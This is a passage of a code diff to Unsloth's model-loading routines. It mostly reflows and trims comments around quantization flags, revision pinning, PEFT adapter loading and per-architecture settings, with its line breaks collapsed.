bitsandbytes unusable (absent, or unstable on some AMD stacks). A capability check, so not gated on use_exact_model_name, which only suppresses repo-name remapping.if not ALLOW_BITSANDBYTES:- # A user config sets load_in_4bit/8bit above and is forwarded in kwargs, so clearing the flags- # alone still rebuilds the bnb quantizer downstream. Drop it only when it asks for bnb: a- # GPTQ / AWQ / fp8 / torchao config must pass through untouched.+ # A user config sets load_in_4bit/8bit above and is forwarded in kwargs, so clearing the flags alone still rebuilds the bnb quantizer downstream. Drop it only when it asks for bnb: a GPTQ / AWQ / fp8 / torchao config must pass through untouched._quant_cfg = kwargs.get("quantization_config", None)if isinstance(_quant_cfg, dict):_wants_bnb = bool(@@ -593,14 +533,12 @@ class FastLanguageModel(FastLlamaModel):"Unsloth: `bitsandbytes` is unavailable here - disabling 4bit/8bit. ""16bit LoRA and full finetuning still work.")- # 8bit is bitsandbytes too: leaving either set sends the request to Transformers, which builds- # the bnb quantizer and fails there.+ # 8bit is bitsandbytes too: leaving either set sends the request to Transformers, which builds the bnb quantizer and fails there.load_in_4bit = Falseload_in_8bit = Falseif _wants_bnb:kwargs.pop("quantization_config", None)- # Find FP8, BnB 4bit, other mapped namesold_model_name = model_namefp8_mode = Noneif not use_exact_model_name:@@ -627,8 +565,7 @@ class FastLanguageModel(FastLlamaModel):else:assert new_model_name is not Nonemodel_name = new_model_name- # If the mapper resolved to a pre-quantized FP8 model, disable on-the-fly quantization to avoid- # quantizing twice.+ # If the mapper resolved to a pre-quantized FP8 model, disable on-the-fly quantization to avoid quantizing twice.if load_in_fp8 != False and new_model_name != old_model_name:load_in_fp8 = False# Only this block honours use_exact_model_name; the transforms below do not.@@ -639,14 +576,11 @@ class FastLanguageModel(FastLlamaModel):("-unsloth-bnb-4bit", "-bnb-4bit")):model_name = _strip_unsloth_bnb_4bit_suffix(model_name)- # '-bf16' hub repos load bf16; a local dir keeps the requested quant unless 16bit is set. Say- # so: dropping the flags silently resurfaces as an OOM whose message never mentions- # quantization.+ # '-bf16' hub repos load bf16; a local dir keeps the requested quant unless 16bit is set. Say so: dropping the flags silently resurfaces as an OOM whose message never mentions quantization.if model_name.lower().endswith("-bf16") and (load_in_16bit or not os.path.isdir(os.path.expanduser(model_name))):- # A user quantization_config stays in **kwargs and still quantizes. load_in_4bit defaults to- # True, so a set flag is no proof of a request; an explicit load_in_16bit is.+ # A user quantization_config stays in **kwargs and still quantizes. load_in_4bit defaults to True, so a set flag is no proof of a request; an explicit load_in_16bit is.if (not load_in_16bitand (load_in_4bit or load_in_8bit or load_in_fp8 != False)@@ -672,12 +606,9 @@ class FastLanguageModel(FastLlamaModel):base_revision = _revision_for_resolved_repo(revision, model_name, old_model_name, mapper_moved_name)- # The PeftConfig probe reads the adapter repo, which peft loads in-process, so it keeps the ref- # even when vLLM takes the base model's away just after.+ # The PeftConfig probe reads the adapter repo, which peft loads in-process, so it keeps the ref even when vLLM takes the base model's away just after.adapter_revision = base_revision- # vLLM fetches the default branch, so the pin is dead for the weights. Drop it before the- # probe: model_types picks the architecture class off that config, so a ref the weights are not- # at dispatches the wrong one. llama.py's predicate spares the in-process fallbacks.+ # vLLM fetches the default branch, so the pin is dead for the weights. Drop it before the probe: model_types picks the architecture class off that config, so a ref the weights are not at dispatches the wrong one. llama.py's predicate spares the in-process fallbacks.if base_revision is not None and _vllm_will_load_weights(fast_inference, kwargs.get("num_labels")):@@ -752,10 +683,8 @@ class FastLanguageModel(FastLlamaModel):)is_peft = False- # Old transformers versions checkboth_exist = (is_model and is_peft) and not SUPPORTS_LLAMA32- # Error out if both LoRA and normal model config exist.if both_exist:raise RuntimeError("Unsloth: Your repo has a LoRA adapter and a base model.\n"@@ -765,7 +694,6 @@ class FastLanguageModel(FastLlamaModel):)if not is_model and not is_peft:error = autoconfig_error if autoconfig_error is not None else peft_error- # Old transformers versionif "rope_scaling" in error.lower() and not SUPPORTS_LLAMA31:raise ImportError(f"Unsloth: Your transformers version of {transformers_version} does not support new RoPE scaling methods.\n"@@ -773,7 +701,6 @@ class FastLanguageModel(FastLlamaModel):f'Try `pip install --upgrade "transformers>=4.43.2"`\n'f"to obtain the latest transformers build, then restart this session.")- # Create a combined error message showing both failurescombined_error = ("Unsloth: Failed to load model. Both AutoConfig and PeftConfig loading failed.\n\n"f"AutoConfig error: {autoconfig_error}\n\n"@@ -797,10 +724,8 @@ class FastLanguageModel(FastLlamaModel):if len(model_types) == 1:model_type = model_types[0]else:- # Leave as tuple if more than one arch.model_type = model_types- # New transformers need to check manually.if SUPPORTS_LLAMA32 and is_model and is_peft:if os.path.isdir(model_name):exist_adapter_config = os.path.exists(@@ -809,8 +734,7 @@ class FastLanguageModel(FastLlamaModel):exist_config = os.path.exists(os.path.join(model_name, "config.json"))both_exist = exist_adapter_config and exist_configelse:- # Both AutoConfig and PeftConfig loaded from this remote repo, so config.json and- # adapter_config.json both exist and no extra HfFileSystem call is needed.+ # Both AutoConfig and PeftConfig loaded from this remote repo, so config.json and adapter_config.json both exist and no extra HfFileSystem call is needed.both_exist = Trueif is_peft:@@ -823,19 +747,16 @@ class FastLanguageModel(FastLlamaModel):token = token,trust_remote_code = trust_remote_code,)- # Are pre-quantized models allowed? AMD Instinct GPUs need blocksize = 128 on bitsandbytes- # < 0.49.2, and our pre-quants use 64.+ # Pre-quantized models allowed? AMD Instinct GPUs need blocksize = 128 on bitsandbytes < 0.49.2, and our pre-quants use 64.if not ALLOW_PREQUANTIZED_MODELS and model_name.lower().endswith(("-unsloth-bnb-4bit", "-bnb-4bit")):model_name = _strip_unsloth_bnb_4bit_suffix(model_name)- # '-bf16' hub repos load bf16; a local dir keeps the requested quant unless 16bit is set. Say- # so: dropping the flags silently resurfaces as an OOM that never mentions quantization.+ # '-bf16' hub repos load bf16; a local dir keeps the requested quant unless 16bit is set. Say so: dropping the flags silently resurfaces as an OOM that never mentions quantization.if model_name.lower().endswith("-bf16") and (load_in_16bit or not os.path.isdir(os.path.expanduser(model_name))):- # A user quantization_config stays in **kwargs and still quantizes. load_in_4bit defaults to- # True, so a set flag is no proof of a request; an explicit load_in_16bit is.+ # A user quantization_config stays in **kwargs and still quantizes. load_in_4bit defaults to True, so a set flag is no proof of a request; an explicit load_in_16bit is.if (not load_in_16bitand (load_in_4bit or load_in_8bit or load_in_fp8 != False)@@ -950,7 +871,6 @@ class FastLanguageModel(FastLlamaModel):use_exact_model_name = use_exact_model_name,offload_embedding = offload_embedding,float32_mixed_precision = float32_mixed_precision,- # Pass vLLM/inference parameters.fast_inference = fast_inference,gpu_memory_utilization = gpu_memory_utilization,float8_kv_cache = float8_kv_cache,@@ -976,8 +896,7 @@ class FastLanguageModel(FastLlamaModel):if fast_inference:fast_inference, model_name = fast_inference_setup(model_name, model_config)- # model_name can move once more here. Skip for PEFT: model_name is then the base model, and- # `revision` names the adapter PeftModel.from_pretrained loads below.+ # model_name can move once more here. Skip for PEFT: model_name is then the base model, and `revision` names the adapter PeftModel.from_pretrained loads below.if not is_peft:base_revision = _revision_for_resolved_repo(base_revision, model_name, old_model_name, mapper_moved_name@@ -991,16 +910,13 @@ class FastLanguageModel(FastLlamaModel):load_in_4bit_kwargs = Falseload_in_8bit_kwargs = False- # Mirror FastModel: bitsandbytes < 0.46.0 needs dynamo disabled. Best effort, never crash the- # load (an old zoo without the #710 fix raises NameError here on Python 3.13).+ # Mirror FastModel: bitsandbytes < 0.46.0 needs dynamo disabled. Best effort, never crash the load (an old zoo without the #710 fix raises NameError here on Python 3.13).try:patch_compiling_bitsandbytes()except Exception as e:print(f"Unsloth: Could not patch bitsandbytes for torch.compile - {e}")- # The optimized path never carried offload_embedding, so a request for one is dropped rather- # than honoured; say so instead of leaving the caller to infer it from memory use. "auto"- # stays quiet: it promises a decision, and off is one.+ # The optimized path never carried offload_embedding, so a request for one is dropped rather than honoured; say so instead of leaving the caller to infer it from memory use. "auto" stays quiet: it promises a decision, and off is one.if offload_embedding != OFFLOAD_EMBEDDING_AUTO and offload_embedding:print("Unsloth: Not offloading embeddings; the optimized path for this "@@ -1038,8 +954,7 @@ class FastLanguageModel(FastLlamaModel):if resize_model_vocab is not None:model.resize_token_embeddings(resize_model_vocab)- # resize_token_embeddings rebuilds the embedding and drops _hf_hook, so this is the last module- # swap of all, after every repair above.+ # resize_token_embeddings rebuilds the embedding and drops _hf_hook, so this is the last module swap of all, after every repair above.try:from unsloth.models.vision import _repair_dispatch_hooks_repaired = _repair_dispatch_hooks(model)@@ -1054,7 +969,6 @@ class FastLanguageModel(FastLlamaModel):f"the vocabulary ({type(_exc).__name__}: {_exc}).")- # In case the model supports tagging, add the unsloth tag.if hasattr(model, "add_model_tags"):model.add_model_tags([@@ -1071,9 +985,7 @@ class FastLanguageModel(FastLlamaModel):if load_in_4bit:# Fix up the bitsandbytes config, but respect a user-provided quantization_config.if quantization_config is None:- # load_in_4bit is the requested flag, not the effective one: a non-bnb checkpoint- # (MXFP4/gptq/awq) had bnb disabled by check_and_disable, so a synthetic bnb config would- # corrupt its real one.+ # load_in_4bit is the requested flag, not the effective one: a non-bnb checkpoint (MXFP4/gptq/awq) had bnb disabled by check_and_disable, so a synthetic bnb config would corrupt its real one.try:from unsloth_zoo.utils import get_quant_type_stamp_bnb = get_quant_type(model.config) in (None, "bitsandbytes")@@ -1082,14 +994,12 @@ class FastLanguageModel(FastLlamaModel):if _stamp_bnb:compute_dtype = dtype_from_config(model.config)quantization_config = {- # compute_dtype is sometimes not a string."bnb_4bit_compute_dtype": compute_dtype,"bnb_4bit_quant_type": "nf4","bnb_4bit_use_double_quant": True,"llm_int8_enable_fp32_cpu_offload": False,"llm_int8_has_fp16_weight": False,- # Whatever the load really used. None here describes a layout that never existed, and saving it- # makes the adapter unreloadable.+ # Whatever the load really used. None here describes a layout that never existed, and saving it makes the adapter unreloadable."llm_int8_skip_modules": _loaded_skip_modules(model.config),"llm_int8_threshold": 6.0,"load_in_4bit": True,@@ -1107,27 +1017,22 @@ class FastLanguageModel(FastLlamaModel):_tag_model_with_fp8_torchao_config(model, fp8_mode)if is_peft:- # From huggingface/peft#184- # Warm the adapter repo: PeftModel downloads it in-process and can hang on Xet, and it always- # loads in-process, so warm it even under fast_inference.+ # From huggingface/peft#184. Warm the adapter repo: PeftModel downloads it in-process and can hang on Xet, and it always loads in-process, so warm it even under fast_inference._prefetched = maybe_prefetch_hf_snapshot(old_model_name,token = token,revision = revision,cache_dir = kwargs.get("cache_dir"),local_files_only = local_files_only,- # Adapter always loads in-process via PeftModel, so warm it even under fast_inference.fast_inference = False,force_download = kwargs.get("force_download", False),- # Leave use_safetensors auto, since inheriting the base format could skip a safetensors-only- # adapter; adapter_only restricts the warm to adapter files plus root aux.+ # Leave use_safetensors auto, since inheriting the base format could skip a safetensors-only adapter; adapter_only restricts the warm to adapter files plus root aux.adapter_only = True,)# The child did the forced download; clear the flag so the load reuses the warm cache.if _prefetched and kwargs.get("force_download", False):kwargs["force_download"] = False- # Forward cache_dir so the load reads the warmed adapter. No subfolder: that targets the base- # checkpoint, and adapters live at the root.+ # Forward cache_dir so the load reads the warmed adapter. No subfolder: that targets the base checkpoint, and adapters live at the root.peft_load_kwargs = {}if kwargs.get("cache_dir") is not None:peft_load_kwargs["cache_dir"] = kwargs["cache_dir"]@@ -1147,8 +1052,7 @@ class FastLanguageModel(FastLlamaModel):_lift_endpoint_hooks_onto_adapters(model)except Exception:pass # never block loading on a placement nicety- # Re-evaluate grouped MoE now the adapter is attached: an expert-LoRA block falls back to the- # original loop, an attention-only adapter keeps the grouped path.+ # Re-evaluate grouped MoE now the adapter is attached: an expert-LoRA block falls back to the original loop, an attention-only adapter keeps the grouped path.try:from unsloth_zoo.temporary_patches.moe_grouped_modulelist import (auto_enable_grouped_moe,@@ -1166,8 +1070,7 @@ class FastLanguageModel(FastLlamaModel):model = _fix_rope_inv_freq(model)model = _exclude_rope_inv_freq_from_ddp(model)- # This path never sets UNSLOTH_FORCE_FLOAT32, so answer False rather than let the trainer read- # whatever a later load writes to the environment.+ # This path never sets UNSLOTH_FORCE_FLOAT32, so answer False rather than let the trainer read whatever a later load writes to the environment.model = _mark_forced_float32(model, False)# Full finetuning delegates to FastModel above, so this path is always LoRA.model = _mark_full_finetuning(model, False)@@ -1245,7 +1148,6 @@ class FastModel(FastBaseModel):unsloth_force_compile = False,offload_embedding = OFFLOAD_EMBEDDING_AUTO,float32_mixed_precision = None, # Forces float32 mixed precision- # Add the missing vLLM/inference parametersfast_inference = False, # uses vLLMgpu_memory_utilization = 0.5,float8_kv_cache = False,@@ -1261,7 +1163,6 @@ class FastModel(FastBaseModel):**kwargs,):user_config = kwargs.pop("config", None)- # Respect a user-provided quantization_config (e.g. BitsAndBytesConfig).quantization_config = kwargs.get("quantization_config", None)if quantization_config is not None:if isinstance(quantization_config, dict):@@ -1277,8 +1178,7 @@ class FastModel(FastBaseModel):load_in_8bit = Trueload_in_4bit = False- # Login to allow private models. Before normalization: dtype is also derived below from a 4bit- # config's compute dtype, which is not a request for the whole model.+ # Login to allow private models. Before normalization: dtype is also derived below from a 4bit config's compute dtype, which is not a request for the whole model.user_float32 = _requested_float32(dtype)token = hf_login(token)if whisper_language is not None:@@ -1308,9 +1208,7 @@ class FastModel(FastBaseModel):assert load_in_fp8 in (True, False, "block")patch_compiled_autograd()- # Same best-effort wrapper as the FastLanguageModel path: unsloth_zoo's patch imports- # bitsandbytes unconditionally, so on a host without it this raised before the capability- # fallback could take the 16bit path.+ # Same best-effort wrapper as the FastLanguageModel path: unsloth_zoo's patch imports bitsandbytes unconditionally, so on a host without it this raised before the capability fallback could take the 16bit path.try:patch_compiling_bitsandbytes()except Exception as e:@@ -1325,11 +1223,9 @@ class FastModel(FastBaseModel):load_in_fp8 = Falseload_in_16bit = False- # bitsandbytes unusable (absent, or unstable on some AMD stacks). A capability check, so not- # gated on use_exact_model_name, which only suppresses repo-name remapping.+ # bitsandbytes unusable (absent, or unstable on some AMD stacks). A capability check, so not gated on use_exact_model_name, which only suppresses repo-name remapping.if not ALLOW_BITSANDBYTES:- # A user config sets load_in_4bit/8bit above and is forwarded in kwargs, so clearing the flags- # alone still rebuilds the bnb quantizer downstream. Drop it only when it asks for bnb.+ # A user config sets load_in_4bit/8bit above and is forwarded in kwargs, so clearing the flags alone still rebuilds the bnb quantizer downstream. Drop it only when it asks for bnb._quant_cfg = kwargs.get("quantization_config", None)if isinstance(_quant_cfg, dict):_wants_bnb = bool(@@ -1352,8 +1248,7 @@ class FastModel(FastBaseModel):"Unsloth: `bitsandbytes` is unavailable here - disabling 4bit/8bit. ""16bit LoRA and full finetuning still work.")- # 8bit is bitsandbytes too: leaving either set sends the request to Transformers, which builds- # the bnb quantizer and fails there.+ # 8bit is bitsandbytes too: leaving either set sends the request to Transformers, which builds the bnb quantizer and fails there.load_in_4bit = Falseload_in_8bit = Falseif _wants_bnb:@@ -1379,15 +1274,13 @@ class FastModel(FastBaseModel):if qat_scheme == "phone-deployment":qat_scheme = "int8-int4"- # Distributed-safe placement for quantized models: under torchrun each rank must load on its- # own device, else Accelerate raises device relocation errors.+ # Distributed-safe placement for quantized models: under torchrun each rank must load on its own device, else Accelerate raises device relocation errors.is_quantized = load_in_4bit or load_in_8bit or load_in_fp8device_map = requested_device_map(device_map)if is_quantized and isinstance(device_map, str):distributed_device_map, is_dist = prepare_device_map()if is_dist:- # One whole model per rank; sharding one across the ranks' GPUs too would have every rank- # fighting for the same cards.+ # One whole model per rank; sharding one across the ranks' GPUs too would have every rank fighting for the same cards.device_map = distributed_device_mapif fast_inference:@@ -1398,7 +1291,6 @@ class FastModel(FastBaseModel):)if DEVICE_TYPE_TORCH == "cuda":for i in range(DEVICE_COUNT):- # DGX Spark vLLM breaks.if "NVIDIA GB10" in str(torch.cuda.get_device_name(i)).upper():print("Unsloth: DGX Spark detected - `fast_inference=True` is currently broken as of January 2026.\n"@@ -1407,7 +1299,6 @@ class FastModel(FastBaseModel):fast_inference = Falsebreak- # Find FP8, BnB 4bit, other mapped namesold_model_name = model_namefp8_mode = Noneif not use_exact_model_name:@@ -1430,26 +1321,22 @@ class FastModel(FastBaseModel):else:assert new_model_name is not Nonemodel_name = new_model_name- # If the mapper resolved to a pre-quantized FP8 model, disable on-the-fly quantization to avoid- # quantizing twice.+ # If the mapper resolved to a pre-quantized FP8 model, disable on-the-fly quantization to avoid quantizing twice.if load_in_fp8 != False and new_model_name != old_model_name:load_in_fp8 = False# Only this block honours use_exact_model_name; the transforms below do not.mapper_moved_name = model_name != old_model_name- # Are pre-quantized models allowed? AMD Instinct GPUs need blocksize = 128 on bitsandbytes- # < 0.49.2, and our pre-quants use 64.+ # Pre-quantized models allowed? AMD Instinct GPUs need blocksize = 128 on bitsandbytes < 0.49.2, and our pre-quants use 64.if not ALLOW_PREQUANTIZED_MODELS and model_name.lower().endswith(("-unsloth-bnb-4bit", "-bnb-4bit")):model_name = _strip_unsloth_bnb_4bit_suffix(model_name)- # '-bf16' hub repos load bf16; a local dir keeps the requested quant unless 16bit is set. Say- # so: dropping the flags silently resurfaces as an OOM that never mentions quantization.+ # '-bf16' hub repos load bf16; a local dir keeps the requested quant unless 16bit is set. Say so: dropping the flags silently resurfaces as an OOM that never mentions quantization.if model_name.lower().endswith("-bf16") and (load_in_16bit or not os.path.isdir(os.path.expanduser(model_name))):- # A user quantization_config stays in **kwargs and still quantizes. load_in_4bit defaults to- # True, so a set flag is no proof of a request; an explicit load_in_16bit is.+ # A user quantization_config stays in **kwargs and still quantizes. load_in_4bit defaults to True, so a set flag is no proof of a request; an explicit load_in_16bit is.if (not load_in_16bitand (load_in_4bit or load_in_8bit or load_in_fp8 != False)@@ -1475,12 +1362,9 @@ class FastModel(FastBaseModel):base_revision = _revision_for_resolved_repo(revision, model_name, old_model_name, mapper_moved_name)- # The PeftConfig probe reads the adapter repo, which peft loads in-process, so it keeps the ref- # even when vLLM takes the base model's away just after.+ # The PeftConfig probe reads the adapter repo, which peft loads in-process, so it keeps the ref even when vLLM takes the base model's away just after.adapter_revision = base_revision- # vLLM fetches the default branch, so the pin is dead for the weights. Drop it here, not at- # dispatch: model_types, auto_model and the text-only decision all come off the config probed- # below, so a ref the weights are not at dispatches the wrong model.+ # vLLM fetches the default branch, so the pin is dead for the weights. Drop it here, not at dispatch: model_types, auto_model and the text-only decision all come off the config probed below, so a ref the weights are not at dispatches the wrong model.if base_revision is not None and fast_inference and is_vLLM_available():logger.warning_once(f"Unsloth: Ignoring revision = `{base_revision}` since vLLM loads weights "@@ -1506,8 +1390,7 @@ class FastModel(FastBaseModel):# @_offline_aware_load already forced offline when needed; nested calls inherit it.local_files_only = kwargs.get("local_files_only", False)- # Text-diffusion slow-path dispatch, factored so the normal route and the legacy-config- # fallback share one call site.+ # Text-diffusion slow-path dispatch, factored so the normal route and the legacy-config fallback share one call site.def _dispatch_diffusion():model, tokenizer = FastDiffusionModel.from_pretrained(model_name = model_name,@@ -1524,8 +1407,7 @@ class FastModel(FastBaseModel):revision = base_revision,**kwargs,)- # Returns before the FORCE_FLOAT32 scan and no diffusion type is on that list, so False.- # Stamped, not left unset, or the trainer reads whatever an earlier load wrote.+ # Returns before the FORCE_FLOAT32 scan and no diffusion type is on that list, so False. Stamped, not left unset, or the trainer reads whatever an earlier load wrote.model = _mark_forced_float32(model, False)model = _mark_full_finetuning(model, full_finetuning)return _mark_requested_float32(model, user_float32), tokenizer@@ -1546,9 +1428,7 @@ class FastModel(FastBaseModel):except Exception as error:autoconfig_error = str(error)autoconfig_exc = error- # Legacy text-diffusion configs use model_type "diffusion_gemma", which current transformers- # does not register (it ships "diffusion_gemma4"), so AutoConfig raises before dispatch. Route- # straight to the diffusion slow path, whose loader aliases the legacy type.+ # Legacy text-diffusion configs use model_type "diffusion_gemma", which current transformers does not register (it ships "diffusion_gemma4"), so AutoConfig raises before dispatch. Route straight to the diffusion slow path, whose loader aliases the legacy type.if "diffusion_gemma" in autoconfig_error and is_diffusion_model_type("diffusion_gemma"):return _dispatch_diffusion()if "architecture" in autoconfig_error:@@ -1584,9 +1464,7 @@ class FastModel(FastBaseModel):f"Please update transformers via `pip install --upgrade transformers` and try again.")is_peft = False- # Old transformers versions checkboth_exist = (is_model and is_peft) and not SUPPORTS_LLAMA32- # Error out if both LoRA and normal model config exist.if both_exist:raise RuntimeError("Unsloth: Your repo has a LoRA adapter and a base model.\n"@@ -1596,7 +1474,6 @@ class FastModel(FastBaseModel):)if not is_model and not is_peft:error = autoconfig_error if autoconfig_error is not None else peft_error- # Old transformers versionif "rope_scaling" in error.lower() and not SUPPORTS_LLAMA31:raise ImportError(f"Unsloth: Your transformers version of {transformers_version} does not support new RoPE scaling methods.\n"@@ -1604,7 +1481,6 @@ class FastModel(FastBaseModel):f'Try `pip install --upgrade "transformers>=4.43.2"`\n'f"to obtain the latest transformers build, then restart this session.")- # Create a combined error message showing both failurescombined_error = ("Unsloth: Failed to load model. Both AutoConfig and PeftConfig loading failed.\n\n"f"AutoConfig error: {autoconfig_error}\n\n"@@ -1628,20 +1504,12 @@ class FastModel(FastBaseModel):model_types_all = ",".join(model_types) + ","_maybe_advise_fla_install(model_types)- # Text-diffusion models (DiffusionGemma) take a transformers-only slow path: a custom- # block-diffusion generate over a novel backbone, so Unsloth's autoregressive kernel/compile- # patching is skipped and the unmodified HF model is loaded, keeping 4bit/8bit and PEFT LoRA.- # ---- Text-diffusion models (e.g. DiffusionGemma) take a transformers-only slow path. ----+ # Text-diffusion models (DiffusionGemma) take a transformers-only slow path: a custom block-diffusion generate over a novel backbone, so Unsloth's autoregressive kernel/compile patching is skipped and the unmodified HF model is loaded, keeping 4bit/8bit and PEFT LoRA.if is_diffusion_model_type(model_types):return _dispatch_diffusion()lowered_model_name = model_name.lower()- # Build UNSLOTH_MODEL_NAME fresh from THIS load's types and flags: prepending the inherited- # value would let a stale "_load_in_4bit_" push gpt-oss onto the BnB router patch on a later- # 16bit load. The raw model name is excluded so a path containing a sentinel is not misread.- # Encode the EFFECTIVE bnb state: a non-bnb checkpoint has load_in_4bit disabled later by- # check_and_disable, so the requested flag would route a native MXFP4 gpt-oss onto the BnB- # router patch. Early best-effort; sync_unsloth_model_name_bnb_flags is authoritative.+ # Build UNSLOTH_MODEL_NAME fresh from THIS load's types and flags: prepending the inherited value would let a stale "_load_in_4bit_" push gpt-oss onto the BnB router patch on a later 16bit load, and the raw model name is excluded so a path containing a sentinel is not misread. Encode the EFFECTIVE bnb state, since a non-bnb checkpoint has load_in_4bit disabled later by check_and_disable and the requested flag would route a native MXFP4 gpt-oss onto the BnB router patch. Early best-effort; sync_unsloth_model_name_bnb_flags is authoritative.try:from unsloth_zoo.utils import get_quant_type_bnb_compatible_quant = get_quant_type(model_config) in (None, "bitsandbytes")@@ -1672,7 +1540,6 @@ class FastModel(FastBaseModel):raise RuntimeError("Unsloth: Gemma 4 requires transformers >= 5.5.0" + LATEST)os.environ["UNSLOTH_DISABLE_STATIC_GENERATION"] = "1"os.environ["UNSLOTH_HIGH_PRECISION_LAYERNORM"] = "1"- # Gemma 3N must be before Gemma 3elif "gemma3n" in model_types_all:if transformers_version < Version("4.53.0"):raise RuntimeError(@@ -1686,8 +1553,7 @@ class FastModel(FastBaseModel):";""from unsloth_zoo.temporary_patches.gemma3n import patch_Gemma3nConv_Embed_forwards; patch_Gemma3nConv_Embed_forwards()")- # Set norms to float32 since they get upcasted anyway; common to gemma-3 and gemma-3n.- # Granite-4 rms norms are stored as 16 bit, but we upcast+ # Set norms to float32 since they get upcasted anyway (gemma-3, gemma-3n); Granite-4 rms norms are stored as 16 bit and are upcast too.os.environ["UNSLOTH_HIGH_PRECISION_LAYERNORM"] = "1"elif "gemma3" in model_types_all:if transformers_version < Version("4.50.0.dev0"):@@ -1695,8 +1561,7 @@ class FastModel(FastBaseModel):"Unsloth: Gemma 3 only works on transformers >= 4.50.0." + NIGHTLY)os.environ["UNSLOTH_HIGH_PRECISION_LAYERNORM"] = "1"- # ROCm/HIP: the Gemma3 compiled forward gives NaN on RDNA GPUs (gfx1100-gfx1151), so disable- # torch.compile for the model forward; loss compilation is fine (#3385).+ # ROCm/HIP: the Gemma3 compiled forward gives NaN on RDNA GPUs (gfx1100-gfx1151), so disable torch.compile for the model forward; loss compilation is fine (#3385).from unsloth.kernels.utils import is_rdnaif is_rdna():@@ -1708,16 +1573,14 @@ class FastModel(FastBaseModel):elif "csm" in model_types_all:os.environ["UNSLOTH_COMPILE_DISABLE"] = "partial" # Inference is too slowos.environ["UNSLOTH_DISABLE_STATIC_GENERATION"] = "1" # Sesame fails- # Set down projection compute dtype to be float32 for float16 machines Set norms to float32 since- # anyways they get upcasted to float32+ # Set the down projection compute dtype to float32 for float16 machines, and norms to float32 since they get upcasted anyway.register_custom_dtype("all;torch.float32;torch.float16;""if name.endswith(('_proj', 'fc1', 'fc2', 'codebook', 'head')): module.to(torch.float16)"";")elif "granitemoehybrid" in model_types_all:- # Granite-4 rms norms are stored as 16 bit, but we upcast.- # Set norms to float32 since anyways they get upcasted to float32+ # Granite-4 rms norms are stored as 16 bit, but norms are upcast to float32 anyway.os.environ["UNSLOTH_HIGH_PRECISION_LAYERNORM"] = "1"os.environ["UNSLOTH_DISABLE_STATIC_GENERATION"] = "1"elif "olmo2" in model_types_all and transformers_version < Version("4.50.0.dev0"):@@ -1733,8 +1596,7 @@ class FastModel(FastBaseModel):"os.environ['TRITON_F32_DEFAULT'] = 'ieee'")elif "nemotron_h" in model_types_all:- # NemotronH (hybrid Mamba-2 + Transformer) uses the same Mamba kernels as Falcon-H1, which need- # float32 Triton precision.+ # NemotronH (hybrid Mamba-2 + Transformer) uses the same Mamba kernels as Falcon-H1, which need float32 Triton precision.register_custom_dtype("float16;torch.float32;torch.float16;""if name.endswith(('q_proj', 'k_proj', 'v_proj', 'o_proj', 'gate_proj', 'up_proj', 'down_proj', 'head')): module.to(torch.float16)"@@ -1743,8 +1605,7 @@ class FastModel(FastBaseModel):)elif "gpt_oss" in model_types_all:os.environ["UNSLOTH_DISABLE_STATIC_GENERATION"] = "1"- # Use the EFFECTIVE bnb state, not the raw flag: a native MXFP4 checkpoint loaded with the- # default load_in_4bit=True has bnb disabled later, so the raw flag picks the wrong dtype path.+ # Use the EFFECTIVE bnb state, not the raw flag: a native MXFP4 checkpoint loaded with the default load_in_4bit=True has bnb disabled later, so the raw flag picks the wrong dtype path.if not (load_in_4bit and _bnb_compatible_quant):# Only upcast MoE biases for MXFP4, not BnB.register_custom_dtype(@@ -1787,7 +1648,6 @@ class FastModel(FastBaseModel):# All other models need to disable static cache.os.environ["UNSLOTH_DISABLE_STATIC_GENERATION"] = "1"- # New transformers need to check manually.if SUPPORTS_LLAMA32 and is_model and is_peft:if os.path.isdir(model_name):exist_adapter_config = os.path.exists(@@ -1796,27 +1656,23 @@ class FastModel(FastBaseModel):exist_config = os.path.exists(os.path.join(model_name, "config.json"))both_exist = exist_adapter_config and exist_configelse:- # Both AutoConfig and PeftConfig loaded from this remote repo, so config.json and- # adapter_config.json both exist and no extra HfFileSystem call is needed.+ # Both AutoConfig and PeftConfig loaded from this remote repo, so config.json and adapter_config.json both exist and no extra HfFileSystem call is needed.both_exist = Trueif is_peft:model_name = peft_config.base_model_name_or_pathif not use_exact_model_name:model_name = get_model_name(model_name, load_in_4bit)- # Are pre-quantized models allowed? AMD Instinct GPUs need blocksize = 128 on bitsandbytes- # < 0.49.2, and our pre-quants use 64.+ # Pre-quantized models allowed? AMD Instinct GPUs need blocksize = 128 on bitsandbytes < 0.49.2, and our pre-quants use 64.if not ALLOW_PREQUANTIZED_MODELS and model_name.lower().endswith(("-unsloth-bnb-4bit", "-bnb-4bit")):model_name = _strip_unsloth_bnb_4bit_suffix(model_name)- # '-bf16' hub repos load bf16; a local dir keeps the requested quant unless 16bit is set. Say- # so: dropping the flags silently resurfaces as an OOM that never mentions quantization.+ # '-bf16' hub repos load bf16; a local dir keeps the requested quant unless 16bit is set. Say so: dropping the flags silently resurfaces as an OOM that never mentions quantization.if model_name.lower().endswith("-bf16") and (load_in_16bit or not os.path.isdir(os.path.expanduser(model_name))):- # A user quantization_config stays in **kwargs and still quantizes. load_in_4bit defaults to- # True, so a set flag is no proof of a request; an explicit load_in_16bit is.+ # A user quantization_config stays in **kwargs and still quantizes. load_in_4bit defaults to True, so a set flag is no proof of a request; an explicit load_in_16bit is.if (not load_in_16bitand (load_in_4bit or load_in_8bit or load_in_fp8 != False)@@ -1854,7 +1710,6 @@ class FastModel(FastBaseModel):redirector = contextlib.redirect_stdout(open(os.devnull, "w", encoding = "utf-8"))model_types = ["siglip"] + model_types- # Set forced float32 env flagos.environ["UNSLOTH_FORCE_FLOAT32"] = "0"do_forced_float32 = Falsefor model_type_arch in model_types:@@ -1907,13 +1762,11 @@ class FastModel(FastBaseModel):trust_remote_code = trust_remote_code,unsloth_force_compile = unsloth_force_compile,)- # Fix SDPA issuesfor model_type in DISABLE_SDPA_MODEL_NAMES:if model_type in model_types_all:supports_sdpa = False- # Keep the local checkpoint dir as tokenizer when self-sufficient; a VLM also needs local- # processor files, else fall back to the base repo so its cached processor loads.+ # Keep the local checkpoint dir as tokenizer when self-sufficient; a VLM also needs local processor files, else fall back to the base repo so its cached processor loads._ckpt_arch = getattr(model_config, "architectures", None) or []_ckpt_is_vlm = any(x.endswith("ForConditionalGeneration") for x in _ckpt_arch) or hasattr(model_config, "vision_config"@@ -1942,8 +1795,7 @@ class FastModel(FastBaseModel):if load_text_only:if hasattr(model_config, "vision_config"):text_config = _get_text_only_config(model_config, old_model_name)- # Skip the vision tower only for families with their own text decoder (Gemma 3); others would- # load random weights, so keep the full model.+ # Skip the vision tower only for families with their own text decoder (Gemma 3); others would load random weights, so keep the full model.text_class = 